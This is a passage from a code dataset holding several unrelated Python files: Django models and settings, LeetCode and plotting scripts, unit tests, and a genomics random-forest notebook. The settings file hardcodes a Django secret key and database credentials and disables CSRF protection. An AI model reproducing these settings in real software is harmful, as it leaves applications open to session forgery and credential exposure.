self.filter(location__in=locations).aggregate(total_balance=models.Sum('balance'))['total_balance']\n\n\nclass Recount(PigletsEvent):\n piglets = models.ForeignKey(Piglets, on_delete=models.CASCADE, related_name='recount')\n quantity_before = models.IntegerField()\n quantity_after = models.IntegerField()\n balance = models.IntegerField()\n\n location = models.ForeignKey('locations.Location', on_delete=models.SET_NULL, null=True, blank=True, \n related_name=\"recounts\")\n\n comment = models.TextField(null=True)\n\n objects = RecountManager()\n","sub_path":"svinbin/piglets_events/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":17794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"569541780","text":"class Solution:\n\t# @param s, a string\n\t# @return a list of lists of string\n\tdef partition(self, s):\n\t\tdef is_palindrome(s):\n\t\t\tdp = [[False for j in xrange(len(s))] for i in xrange(len(s))]\n\t\t\tfor j in xrange(len(s)):\n\t\t\t\tfor i in xrange(len(s) - j):\n\t\t\t\t\tdp[i][i + j] = (j < 2 or dp[i + 1][i + j -1]) and s[i] == s[i + j]\n\t\t\treturn dp\n\t\tdef dfs(s, start, dp):\n\t\t\tif start > len(s) -1: return [[]]\n\t\t\tresults = []\n\t\t\tfor i in xrange(start, len(s)):\n\t\t\t\tif dp[start][i]:\n\t\t\t\t\tfor result in dfs(s, i + 1, dp):\n\t\t\t\t\t\tresult.insert(0,s[start: i + 1])\n\t\t\t\t\t\tresults.append(result)\n\t\t\treturn results\n\t\treturn dfs(s, 0, is_palindrome(s))","sub_path":"leetcode_python/131_Palindrome_Partitioning.py","file_name":"131_Palindrome_Partitioning.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"5014782","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport STD\n\nlistranges = []\nnumbers = []\n\nSTD.innumbs()\n\nlower_lims = []\nupper_lims = []\n\nSTD.limits()\nSTD.standard_dev()\nSTD.rangecount()\n\nprint(listranges)\nyaxis = listranges\n\ndef bargraph():\n x = np.array(upper_lims)\n print(x)\n y = np.array(yaxis)\n print(y)\n plt.xlabel(\"Ranges\")\n plt.ylabel(\"Frequency\")\n plt.bar(x, y)\n plt.show()\n\n\nbargraph()\n\ndef linegraph():\n x = np.array(upper_lims)\n print(x)\n y = np.array(yaxis)\n print(y)\n plt.xlabel(\"Ranges\")\n plt.ylabel(\"Frequency\")\n plt.bar(x, y)\n plt.plot(x, y)\n plt.show()\n\n\nlinegraph()","sub_path":"Exam 1/Grapher.py","file_name":"Grapher.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"567526579","text":"import numpy as np\n\n\ndef selectThreshold(y_val, p_val):\n # ====================== YOUR CODE HERE ======================\n # Instructions: Compute the F1 score of choosing epsilon as the\n # threshold and place the value in F1. The code at the\n # end of the loop will compare the F1 score for this\n # choice of epsilon and set it to be the best epsilon if\n # it is better than the current choice of epsilon.\n # \n # Note: You can use predictions = (pval < epsilon) to get a binary vector\n # of 0's and 1's of the outlier predictions\n stepSize = (np.max(p_val) - np.min(p_val)) / 1000\n\n bestEpsilon = 0.0\n bestF1 = 0.0\n\n for epsilon in np.arange(min(p_val), max(p_val), stepSize):\n predictions = p_val < epsilon\n tp = np.sum(predictions[np.nonzero(y_val == True)])\n fp = np.sum(predictions[np.nonzero(y_val == False)])\n fn = np.sum(y_val[np.nonzero(predictions == False)] == True)\n if tp != 0:\n prec = 1.0 * tp / (tp + fp)\n rec = 1.0 * tp / (tp + fn)\n F1 = 2.0 * prec * rec / (prec + rec)\n if F1 > bestF1:\n bestF1 = F1\n bestEpsilon = epsilon\n\n return bestEpsilon, bestF1","sub_path":"8. Anomaly Detection and Recommender Systems/selectThreshold.py","file_name":"selectThreshold.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"492893245","text":"# This is a dummy integration test. You would write your\n# Django integration Tests here.\nfrom django.test import TestCase\n\n\nclass TestHome(TestCase):\n\n def test_home(self):\n r = self.client.get('/')\n self.assertEqual(r.status_code, 404,\n 'Its an Empty Project!')\n","sub_path":"tests/integration/test_home.py","file_name":"test_home.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"422889130","text":"import unittest\nfrom constants import DATE_FORMAT\nfrom datetime import date, timedelta\nfrom helpers import get_previous_dates, compose_redis_key\n\n\nclass TestGetPreviousDates(unittest.TestCase):\n def test_get_today(self):\n self.assertEqual(\n get_previous_dates(1)[-1], date.today().strftime(DATE_FORMAT)\n )\n\n def test_get_d_minus_3(self):\n self.assertEqual(\n get_previous_dates(3)[-1],\n ((date.today() - timedelta(2))).strftime(DATE_FORMAT)\n )\n\n def test_get_d_minus_7(self):\n self.assertEqual(\n get_previous_dates(7)[-1],\n ((date.today() - timedelta(6))).strftime(DATE_FORMAT)\n )\n\n\nclass TestComposeRedisKey(unittest.TestCase):\n def test_compose_one_string(self):\n self.assertEqual(compose_redis_key(\"USD\"), \"USD\")\n\n def test_compose_two_string(self):\n self.assertEqual(compose_redis_key(\"USD\", \"BRL\"), \"USD:BRL\")\n\n def test_compose_three_string(self):\n self.assertEqual(\n compose_redis_key(\"USD\", \"BRL\", \"2018-05-18\"),\n \"USD:BRL:2018-05-18\"\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"beep-saude/src/tests/unit/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"351484002","text":"\n# coding: utf-8\n\n# ### Code for reading the Equivalence Classes and storing them in a dictionary.\n\n# In[430]:\n\nimport sys\nimport re\nimport os\nimport pandas as pd\nimport csv\nimport numpy as np\nimport matplotlib as plt\nfrom scipy import linalg \nimport pickle\nget_ipython().magic('matplotlib inline')\n\neqClasses_dict = {}\n\ndef storeInDict(line, person):\n \n s= line.split()\n n=len(s)\n eqClassLength = int(s[0])\n tup = list()\n \n #Storing length 1 equivalence class as a string instead of a tuple in the dictionary\n if(eqClassLength == 1):\n t_name = s[1]\n if t_name not in eqClasses_dict:\n eqClasses_dict[t_name] = [0 for i in range(369)]\n eqClasses_dict[t_name][person] = int(s[n-1])\n else:\n eqClasses_dict[t_name][person] = int(s[n-1])\n\n else:\n #Create the tuple of transcript IDs which will be the key\n for i in range(1,eqClassLength+1):\n tup.append(s[i])\n tup = tuple(tup)\n\n if tup not in eqClasses_dict:\n eqClasses_dict[tup] = [0 for i in range(369)]\n eqClasses_dict[tup][person] = int(s[n-1])\n else:\n eqClasses_dict[tup][person] = int(s[n-1])\n\n\n# In[2]:\n\ndef parseInput(path, personCount):\n\n file = open(path,\"r\")\n\n lineCount = 0\n for line in file:\n if lineCount == 0:\n num_transcripts = int(line)\n lineCount+=1\n continue\n if lineCount == 1:\n num_eqClasses = int(line)\n lineCount+=1\n continue\n if lineCount < 2+ num_transcripts:\n lineCount+=1\n continue\n else:\n storeInDict(line, personCount)\n lineCount+=1\n continue\n\n\n# In[4]:\n\ndef parseAllFiles():\n \n traincsv = pd.read_csv(\"/Users/jatingarg/Desktop/CompBioData/project1/p1_train.csv\",low_memory=False)\n accessionList = traincsv['accession'].values\n \n for i in range(len(accessionList)):\n name = accessionList[i]\n s=\"/Users/jatingarg/Desktop/CompBioData/project1/train/\"+str(name)+\"/bias/aux_info/eq_classes.txt\"\n parseInput(s, i)\n\n print (len(eqClasses_dict))\n count =0\n# for key in eqClasses_dict.keys():\n# print (key)\n# print (eqClasses_dict[key])\n# count+=1\n# if count>20:\n# break\n\n\n# ### Resultant vector showing the numReads in each equivalence class that has existed in any of the individuals\n\n# In[5]:\n\nparseAllFiles()\n\n\n# In[6]:\n\ndf = pd.DataFrame.from_dict(eqClasses_dict)\n\n\n# ### The dataframe showing the equivalence class name as columns and numReads in each equivalence class for every individual\n\n# In[7]:\n\ndf.head(10)\n\n\n# In[146]:\n\ndf.to_csv(\"eq.csv\",index=False)\n\n\n# In[8]:\n\ncolList = df.columns\n\n\n# In[9]:\n\ndf.shape\n\n\n# In[10]:\n\nreadList = list()\nfor i in range(df.shape[1]):\n num = (df[colList[i]] != 0).sum()\n tup = tuple([num,i])\n readList.append(tup)\n\n\n# In[11]:\n\nsortedList = list()\nrevSortedList = list()\n\n\n# In[12]:\n\nsortedList = sorted(readList, key=lambda x:x[0])\n\n\n# In[13]:\n\nrevSortedList = sorted(readList, key=lambda x:x[0], reverse=True)\n\n\n# In[14]:\n\nsortedList[10]\n\n\n# ### Here we have sorted the the class according to whether the class is present in how many of the individuals\n\n# In[15]:\n\nsortedNp = np.array(sortedList)\n\n\n# In[16]:\n\nreverseSortedNp = np.array(revSortedList)\n\n\n# In[17]:\n\nsortedNp.mean()\n\n\n# In[18]:\n\nsortedDF = pd.DataFrame(sortedNp)\n\n\n# In[19]:\n\nsortedDF.head(2)\n\n\n# ### Below result shows that there are some common Equivalence classes that are present in all 369 individuals and some are uniquely mapped to 1 person\n\n# In[20]:\n\nsortedDF[1].describe()\n\n\n# In[22]:\n\ntempDF = sortedDF.copy()\n\n\n# In[24]:\n\ntempDF = SVD(tempDF)\n\n\n# In[23]:\n\ndef SVD(tempDF):\n featureMatrix=np.array(tempDF) \n\n U, s, Vh = linalg.svd( featureMatrix, full_matrices=1, compute_uv=1 )\n low_dim_p = 10000\n return U[:,0:low_dim_p]\n\n\n# In[412]:\n\nsortedDF = tempDF[tempDF[0] >= 350]\nsortedDF = sortedDF[sortedDF[0] <= 369]\n\n\n# In[413]:\n\nsortedDF.shape\n\n\n# In[414]:\n\nuniqueDF = sortedDF\n\n\n# In[415]:\n\nuniqueDF.head(2)\n\n\n# In[416]:\n\nuniqueDF.shape\n\n\n# In[417]:\n\ncolIndex = uniqueDF[1].tolist()\n\n\n# In[418]:\n\ncolIndex[0]\n\n\n# In[419]:\n\ncolNames = list()\n\n\n# In[420]:\n\nfor i in range(len(colIndex)):\n colNames.append(colList[colIndex[i]])\n\n\n# In[421]:\n\ndfTest1 = df.filter(colNames)\n\n\n# In[422]:\n\ndfTest1 = dfTest1.head(369)\ndfTest1.shape\n\n\n# ### Here we have made a visual representation showing number of equivalence classes present on y-axis and the number of persons having those number of equivalence classes common to them.\n\n# #### So this shows more than .2 million equivalence classes are uniquely mapped to single persons while around 90K are common in all persons\n\n# In[246]:\n\nsortedDF[0].hist(figsize=(10,10),bins=500)\n\n\n# ## Population Label Model\n\n# In[423]:\n\ntraincsv = pd.read_csv(\"/Users/jatingarg/Desktop/CompBioData/project1/p1_train_pop_lab.csv\",low_memory=False)\naccessionList = traincsv['accession'].values\ncountryList = traincsv['population'].values\n\n\n# In[424]:\n\ntraincsv.columns\n\n\n# In[425]:\n\nlen(countryList)\n\n\n# In[426]:\n\ncountryList[200]\n\n\n# In[427]:\n\ndfTest1[\"Country\"] = countryList\n\n\n# ### So here we choose only those equivalence classes that are common in most of the persons to train our model that is Random Forest and we applied 5 fold Cross Validation\n\n# In[38]:\n\nfrom sklearn.ensemble import RandomForestClassifier\n\n\n# In[428]:\n\ncross_val = 5\naverageAccuracyScore = 0\nf1pop = 0\nrf_modelPop = RandomForestClassifier(n_estimators=100, # Number of trees\n max_features=dfTest1.shape[1]-10, # Num features considered\n oob_score=False) # Use OOB scoring*\nfor i in range(cross_val):\n msk = np.random.rand(len(dfTest1)) < 0.80\n\n train = dfTest1[msk]\n \n test = dfTest1[~msk]\n \n # Train the model\n rf_modelPop.fit(train.filter(dfTest1.columns[:-1]), train.filter(dfTest1.columns[-1:]))\n\n predictedDF = rf_modelPop.predict(test.filter(dfTest1.columns[:-1]))\n ansList = test['Country'].tolist()\n averageAccuracyScore += printAccuracy(ansList,predictedDF)\n f1pop += fScore(ansList,predictedDF)\n print(averageAccuracyScore)\nprint(\"F1-Score For Population label is : \",f1pop/float(cross_val))\nprint(\"Average Accuracy of model is \" + str(averageAccuracyScore/cross_val))\n\n\n# ### The results shows the average accuracy for the test data set i.e around 84.5 %\n\n# In[377]:\n\npredictedDF\n\n\n# In[56]:\n\nfrom sklearn.metrics import confusion_matrix\nimport sklearn.metrics\n\n\n# ### This shows the confusion matrix for the classes i.e number of classes(countries) predicted correctly/incorrectly\n# #### [[ 7, 1, 0, 0, 2],\n# #### [ 0, 12, 1, 4, 1],\n# #### [ 0, 0, 9, 0, 0],\n# #### [ 7, 0, 0, 9, 0],\n# #### [ 0, 0, 0, 0, 12]])\n# #### Here we can see this model is not performing well specifically for the \"TSI\"\n\n# In[379]:\n\nconfusion_matrix(ansList,predictedDF,labels=['GBR','FIN','CEU','TSI','YRI'])\n\n\n# In[403]:\n\ndef printAccuracy(ansList,predictedDF):\n count = 0\n for i in range(len(ansList)):\n if ansList[i] == predictedDF[i]:\n count += 1\n return (count/len(ansList))\n\n\n# ## Sequencing Center Model\n\n# In[405]:\n\ntraincsv = pd.read_csv(\"/Users/jatingarg/Desktop/CompBioData/project1/p1_train_pop_lab.csv\",low_memory=False)\naccessionList = traincsv['accession'].values\nsequencingCenterList = traincsv['sequencing_center'].values\n\n\n# In[406]:\n\ntraincsv.columns\n\n\n# In[407]:\n\ndfTest1[\"SequencingCenter\"] = sequencingCenterList\n\n\n# In[408]:\n\ndef fScore(y_true,y_pred):\n return sklearn.metrics.f1_score(y_true, y_pred,average='micro')\n\n\n# In[411]:\n\ncross_val = 5\naverageAccuracyScore = 0\nf1Seq = 0\nrf_modelSeq = RandomForestClassifier(n_estimators=100, # Number of trees\n max_features=dfTest1.shape[1]-10, # Num features considered\n oob_score=False) # Use OOB scoring*\nfor i in range(cross_val):\n msk = np.random.rand(len(dfTest1)) < 0.80\n\n train = dfTest1[msk]\n \n test = dfTest1[~msk]\n \n # Train the model\n rf_modelSeq.fit(train.filter(dfTest1.columns[:-1]), train.filter(dfTest1.columns[-1:]))\n\n predictedDF = rf_modelSeq.predict(test.filter(dfTest1.columns[:-1]))\n ansList = test['SequencingCenter'].tolist()\n averageAccuracyScore += printAccuracy(ansList,predictedDF)\n f1Seq += fScore(ansList,predictedDF)\n print(averageAccuracyScore)\nprint(\"F1-Score For Sequencing Center: \",f1Seq/float(cross_val))\nprint(\"Average Accuracy of model is \" + str(averageAccuracyScore/cross_val))\n\n\n# ## Multi Target Model\n\n# In[382]:\n\ntraincsv = pd.read_csv(\"/Users/jatingarg/Desktop/CompBioData/project1/p1_train_pop_lab.csv\",low_memory=False)\naccessionList = traincsv['accession'].values\nsequencingCenterList = np.array(traincsv['sequencing_center'].values)\nsequencingCenterList = sequencingCenterList.astype(str)\ncountryList = traincsv['population'].values\n\n\n# In[383]:\n\ndfTest1[\"SequencingCenter\"] = sequencingCenterList\n\n\n# In[384]:\n\ndfTest1[\"Population\"] = countryList\n\n\n# In[385]:\n\ndfTest1.head(2)\n\n\n# In[386]:\n\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.linear_model import LogisticRegression\n\n\n# In[391]:\n\ncross_val = 5\naverageAccuracyScore = 0\nf1Pop,f1Seq = 0,0\nrf_model_M = RandomForestClassifier(n_estimators=100, # Number of trees\n max_features=dfTest1.shape[1]-10,\n oob_score=False) # Use OOB scoring*\n# rf_model = LogisticRegression(penalty='l2')\nmulti_target_forest = MultiOutputClassifier(rf_model_M, n_jobs=-1)\nfor i in range(cross_val):\n msk = np.random.rand(len(dfTest1)) < 0.80\n\n train = dfTest1[msk]\n \n test = dfTest1[~msk]\n\n trainList = dfTest1.columns\n trainList = trainList[0:-1]\n\n features = trainList\n \n # Train the model\n multi_target_forest.fit(train.filter(dfTest1.columns[:-2]), train.filter(dfTest1.columns[-2:]))\n\n predictedDF = multi_target_forest.predict(test.filter(dfTest1.columns[:-2]))\n ansListSeq = test['SequencingCenter'].tolist()\n ansListPop = test['Population'].tolist()\n\n averageAccuracyScore += printAccuracy(ansListSeq,ansListPop,predictedDF)\n f1Pop += fScoreMulti(ansListPop,predictedDF[:,1:2].flatten())\n f1Seq += fScoreMulti(ansListSeq,predictedDF[:,0:1].flatten())\n\n print(averageAccuracyScore)\nprint(\"F1-Score For Population: \",f1Pop/float(cross_val))\nprint(\"F1-Score For Sequencing Center: \",f1Seq/float(cross_val))\nprint(\"Average Accuracy of model is \" + str(averageAccuracyScore/cross_val))\n\n\n# In[388]:\n\ndef printAccuracy(ansListSeq,ansListPop,predictedDF):\n count = 0\n for i in range(len(ansListSeq)):\n if ansListSeq[i] == predictedDF[i][0] and ansListPop[i] == predictedDF[i][1]:\n count += 1\n# print(countSeq/len(ansListSeq),countPop/len(ansListSeq))\n return count/float(len(ansListSeq))\n\n\n# In[389]:\n\ndef fScoreMulti(y_true,y_pred):\n return sklearn.metrics.f1_score(y_true, y_pred,average='micro')\n\n\n# In[432]:\n\n# save the model to disk as pickle files\nfilename = '/Users/jatingarg/Desktop/CompBioData/project1/multi_target_forest.pickle'\npickle.dump(multi_target_forest, open(filename, 'wb'))\n\n\n# In[433]:\n\nfilename = '/Users/jatingarg/Desktop/CompBioData/project1/rf_modelSeq.pickle'\npickle.dump(rf_modelSeq, open(filename, 'wb'))\n\n\n# In[434]:\n\nfilename = '/Users/jatingarg/Desktop/CompBioData/project1/rf_modelPop.pickle'\npickle.dump(rf_modelPop, open(filename, 'wb'))\n\n\n# ### Finish\n","sub_path":"Computational Biology/Comp_Bio_Project/Project-1_Notebook-2.py","file_name":"Project-1_Notebook-2.py","file_ext":"py","file_size_in_byte":11692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"538384627","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nDjango settings for opendatahub project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.7/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.7/ref/settings/\n\"\"\"\n\nfrom __future__ import unicode_literals\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport datetime\nimport sys\n\nimport os\nimport dj_database_url\nfrom authentication.config import * # noqa\n# SECURITY WARNING: don't run with debug turned on in production!\n# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/\nDEBUG = bool(os.environ.get('DJANGO_DEBUG', False))\nTEMPLATE_DEBUG = DEBUG\nPRODUCTION = os.getenv('DJANGO_CONFIG') == 'PRODUCTION'\nUSE_SSL = bool(os.getenv('DJANGO_SSLIFY', False))\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\nWEBAPP_ROOT = os.path.join(os.path.dirname(BASE_DIR), 'webapp')\nWEBAPP_DIR = os.path.join(WEBAPP_ROOT, 'dist' if PRODUCTION else 'app')\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'r)gg!i^!6=62c8p416@n^x0@nc3#h)dj3ge10l*977u@np6=--'\n\n\n# Logging\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'handlers': {\n 'null': {\n 'level': 'DEBUG',\n 'class': 'logging.NullHandler',\n },\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler',\n },\n 'warnings': {\n 'level': 'WARN',\n 'class': 'hub.exceptions.OdhLoggingHandler'\n }\n },\n 'loggers': {\n '': {\n 'handlers': ['console', 'mail_admins', 'warnings'],\n 'propagate': True,\n 'level': 'INFO' if not DEBUG else 'DEBUG',\n },\n 'django.db.backends': {\n # otherwise prints the base64 encoded files which is simply too much for the console to handle\n 'level': 'WARN',\n 'propagate': True,\n },\n 'Fiona': {\n # default verbosity slows down everything way too much\n 'level': 'WARN',\n 'propagate': True,\n },\n 'fastkml': {\n # emits warnings if the file does not contains a geometry\n 'handlers': ['null'],\n 'level': 'ERROR',\n 'propagate': False\n },\n 'hub.tests': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': False\n }\n },\n}\n\nALLOWED_HOSTS = [host.strip() for host in\n os.environ.get('DJANGO_ALLOWED_HOSTS', 'localhost,192.168.56.101').split(',')]\n\n# correct protocol (http vs. https) when behind reverse proxy like heroku\nUSE_X_FORWARDED_HOST = True\n\n# Application definition\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.sites',\n 'rest_framework',\n 'hub',\n 'django.contrib.staticfiles',\n 'rest_framework_jwt',\n 'authentication',\n 'rest_framework.authtoken',\n 'social.apps.django_app.default',\n)\n\n# Dev. only, not required\ntry:\n import django_extensions # noqa\n\n INSTALLED_APPS += ('django_extensions',)\nexcept ImportError:\n pass\n\nMIDDLEWARE_CLASSES = (\n 'sslify.middleware.SSLifyMiddleware',\n 'opendatahub.middleware.error.WarningMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n # 'django.middleware.csrf.CsrfViewMiddleware', # disabled - makes no sense in our API\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'opendatahub.middleware.error.ExceptionMiddleware',\n)\n\nROOT_URLCONF = 'opendatahub.urls'\n\nWSGI_APPLICATION = 'opendatahub.wsgi.application'\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'social.apps.django_app.context_processors.backends',\n 'social.apps.django_app.context_processors.login_redirect',\n 'django.contrib.auth.context_processors.auth'\n)\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\n\nDATABASES = {\n # Heroku compliance\n 'default': dj_database_url.config(default='postgres://opendatahub:opendatahub@localhost:5432/opendatahub')\n}\nDATABASES['default'].update({\n 'TEST_CHARSET': 'utf8',\n})\n\nCACHES = {\n # very short-lived basically for inter-request purposes only\n 'L1': {\n # django.core.cache.backends.locmem.LocMemCache\n 'BACKEND': 'opendatahub.utils.cache.locmem.LocMemNoPickleCache',\n 'LOCATION': 'L1',\n 'OPTIONS': {\n 'TIMEOUT': 60,\n 'MAX_ENTRIES': 100,\n }\n },\n # intermediate-lived general purpose memory cache\n 'default': {\n 'BACKEND': 'opendatahub.utils.cache.locmem.LocMemNoPickleCache',\n 'LOCATION': 'L2',\n 'OPTIONS': {\n 'TIMEOUT': 300,\n 'MAX_ENTRIES': 100,\n }\n },\n # persistent cache\n 'L3': {\n 'BACKEND': 'django.core.cache.backends.db.DatabaseCache',\n 'LOCATION': 'hub_cache',\n 'OPTIONS': {\n 'TIMEOUT': None,\n 'MAX_ENTRIES': sys.maxint,\n }\n },\n}\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.7/topics/i18n/\n\nLANGUAGE_CODE = 'de-ch'\n\nTIME_ZONE = 'Europe/Zurich'\n\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n# ACCOUNT_ADAPTER = 'authentication.adapters.MessageFreeAdapter'\nAUTH_USER_MODEL = 'authentication.UserProfile'\n\nSITE_ID = 1\nJWT_AUTH = {\n 'JWT_EXPIRATION_DELTA': datetime.timedelta(days=14)\n}\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.7/howto/static-files/\nSTATICFILES_DIRS = (WEBAPP_DIR,)\nif DEBUG:\n STATICFILES_DIRS += (WEBAPP_ROOT,)\n\n# Simplified static file serving.\n# https://warehouse.python.org/project/whitenoise/\nSTATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage'\nSTATIC_ROOT = os.path.join(os.path.dirname(BASE_DIR), 'staticfiles')\nSTATIC_URL = '/static/'\n\nAUTHENTICATION_BACKENDS = (\n # Needed to login by username in Django admin, regardless of `allauth`\n \"django.contrib.auth.backends.ModelBackend\",\n 'social.backends.facebook.FacebookOAuth2',\n # 'social.backends.github.GithubOAuth2',\n 'authentication.backends.OdhGithubOAuth2'\n)\n\nREST_FRAMEWORK = {\n 'DEFAULT_PERMISSION_CLASSES': (\n 'rest_framework.permissions.AllowAny',\n ),\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.SessionAuthentication',\n 'rest_framework.authentication.BasicAuthentication',\n 'rest_framework_jwt.authentication.JSONWebTokenAuthentication',\n ),\n}\nSOCIAL_AUTH_PIPELINE = (\n 'social.pipeline.social_auth.social_details',\n 'social.pipeline.social_auth.social_uid',\n 'social.pipeline.social_auth.auth_allowed',\n 'social.pipeline.social_auth.social_user',\n 'social.pipeline.user.get_username',\n 'social.pipeline.social_auth.associate_by_email', # <--- enable this one\n 'social.pipeline.user.create_user',\n 'social.pipeline.social_auth.associate_user',\n 'social.pipeline.social_auth.load_extra_data',\n 'social.pipeline.user.user_details',\n 'authentication.pipelines.save_profile_picture'\n)\n\nJWT_ALLOW_REFRESH = True\nJWT_AUTH_HEADER_PREFIX = \"Bearer\"\nSOCIAL_AUTH_GITHUB_EXTRA_DATA = [('login', 'login')]\n# Honor the 'X-Forwarded-Proto' header for request.is_secure()\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\nEMAIL_HOST_PASSWORD = os.environ.get('DJANGO_EMAIL_HOST_PASSWORD')\nif EMAIL_HOST_PASSWORD:\n EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\n EMAIL_HOST = 'mail.gandi.net'\n EMAIL_HOST_USER = 'noreply@opendatahub.ch'\n EMAIL_PORT = 465\n EMAIL_USE_SSL = True\n SERVER_EMAIL = 'noreply@opendatahub.ch'\n DEFAULT_FROM_EMAIL = 'noreply@opendatahub.ch'\n ADMINS = (('Developers', 'devs@opendatahub.ch'),)\n\nif not USE_SSL:\n SSLIFY_DISABLE = True\n\n# ODHQL Table naming prefixes\nPACKAGE_PREFIX = 'ODH'\nTRANSFORMATION_PREFIX = 'TRF'\n\nTEST_RUNNER = 'hub.tests.runner.ParameterizedTestRunner'\n","sub_path":"src/main/python/opendatahub/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"511189732","text":"\"\"\"Visualization of Normal Distribution in different forms\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm\nfrom matplotlib.patches import Ellipse\nimport matplotlib.transforms as transforms\n\n\ndef create_toy_data(func, sample_size, std):\n x = np.linspace(0, 1, sample_size)\n t = func(x) + np.random.normal(scale=std, size=x.shape)\n return x, t\n\n\ndef confidence_ellipse(x, y, ax, n_std=3.0, facecolor='none', **kwargs):\n \"\"\"\n Create a plot of the covariance confidence ellipse of *x* and *y*.\n\n Parameters\n ----------\n x, y : array-like, shape (n, )\n Input data.\n\n ax : matplotlib.axes.Axes\n The axes object to draw the ellipse into.\n\n n_std : float\n The number of standard deviations to determine the ellipse's radiuses.\n\n Returns\n -------\n matplotlib.patches.Ellipse\n\n Other parameters\n ----------------\n kwargs : `~matplotlib.patches.Patch` properties\n \"\"\"\n if x.size != y.size:\n raise ValueError(\"x and y must be the same size\")\n\n cov = np.cov(x, y)\n pearson = cov[0, 1]/np.sqrt(cov[0, 0] * cov[1, 1])\n # Using a special case to obtain the eigenvalues of this\n # two-dimensionl dataset.\n ell_radius_x = np.sqrt(1 + pearson)\n ell_radius_y = np.sqrt(1 - pearson)\n ellipse = Ellipse((0, 0),\n width=ell_radius_x * 2,\n height=ell_radius_y * 2,\n facecolor=facecolor,\n **kwargs)\n\n # Calculating the stdandard deviation of x from\n # the squareroot of the variance and multiplying\n # with the given number of standard deviations.\n scale_x = np.sqrt(cov[0, 0]) * n_std\n mean_x = np.mean(x)\n\n # calculating the stdandard deviation of y ...\n scale_y = np.sqrt(cov[1, 1]) * n_std\n mean_y = np.mean(y)\n\n transf = transforms.Affine2D() \\\n .rotate_deg(45) \\\n .scale(scale_x, scale_y) \\\n .translate(mean_x, mean_y)\n\n ellipse.set_transform(transf + ax.transData)\n return ax.add_patch(ellipse)\n\n\ndef get_correlated_dataset(n, dependency, mu, scale):\n latent = np.random.randn(n, 2)\n dependent = latent.dot(dependency)\n scaled = dependent * scale\n scaled_with_offset = scaled + mu\n # return x and y of the new, correlated dataset\n return scaled_with_offset[:, 0], scaled_with_offset[:, 1]\n\n\nif __name__ == \"__main__\":\n # generate sine wave\n def func(x):\n return np.sin(2 * np.pi * x)\n\n x_sine = np.linspace(0, 1, 100)\n y_sine = func(x_sine)\n\n fig, axs = plt.subplots(1, 3, figsize=(16, 4))\n ax = axs[0]\n ax.set_axisbelow(True)\n ax.plot(x_sine, y_sine, c='b', label=\"$\\sin(2\\pi x)$\")\n\n std = 1\n\n # std * 3\n scope = std * 3\n ax.fill_between(x_sine, y_sine - scope, y_sine + scope,\n color=\"b\", label=\"std * 3\", alpha=0.1)\n\n # std * 2\n scope = std * 2\n ax.fill_between(x_sine, y_sine - scope, y_sine + scope,\n color=\"g\", label=\"std * 2\", alpha=0.3)\n\n # std * 1\n scope = std * 1\n ax.fill_between(x_sine, y_sine - scope, y_sine + scope,\n color=\"r\", label=\"std.\", alpha=0.5)\n\n x_sine_noise, y_sine_noise = create_toy_data(func, 50, std)\n ax.scatter(x_sine_noise, y_sine_noise, c='k',\n label=\"$\\sin(2\\pi x)$ w/std noise\")\n\n ax.set_xlabel('$\\pi$')\n ax.set_title('Sine wave with $\\sigma=1$ of noise')\n\n ax.grid()\n ax.legend()\n\n 